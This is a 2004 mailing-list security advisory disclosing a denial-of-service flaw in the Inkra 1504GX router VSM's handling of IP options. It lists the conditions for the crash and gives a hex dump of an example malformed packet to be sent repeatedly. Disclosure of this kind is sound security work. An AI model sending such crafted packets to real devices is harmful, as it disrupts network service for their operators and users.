Date: 14 Sep 2004 03:11:38 -0000 From: felix zhou Subject: Inkra 1504GX DoS vulnerability in conducting IP protocol Inkra 1504GX DoS vulnerability in conducting IP protocol Author:　 Felix Zhou(felix__zhou@hotmail.com) 　　　 　　Song Liu (songsong@shaw.ca) Release date: 2004-08-25 Affected system: 　　Inkra 1504GX with router VSM release 2.1.4.b003 (didn't test other products o f Inkra). Detail: Inkra 1504GX's router VSM(release 2.1.4.b003) does not conduct IP options properly. And Hackers can construct some kind of packet to make it crash down. Fortunately, such situation happens only in the following prerequisites: 1. Router VSM is selected in actived VR. 2. Between Router VSM and the VP, no other VSMs exist. 3. The VP is connected to the IO slot directly. To make the SPM crash down, you have to send the malformed packet at least 3 times, which is uncertai n for you to perform. Several seconds interval is necessary between the attacks. --------------- a packet example --------------------------- xx xx xx xx xx xx (DMAC) xx xx xx xx xx xx (SMAC) 08 00 4e cc 00 58 15 24 00 00 56 01 xx xx (ip-csum) xx xx xx xx (SIP) xx xx xx xx (DIP) eb 21 ad a6 eb e1 35 9b ce dd a7 11 ea 5d c5 96 af 47 c1 50 f1 d1 5c 4b 18 9a c1 8a 13 6b 48 5e 74 83 c6 06 aa 9a 5e c2 a6 75 38 44 f8 43 d7 3f ae a1 e0 c6 e3 7c 4b 59 7a 95 1e 70 cc 04 1b 2a d1 6e 38 83 -----------------------------------------------------------------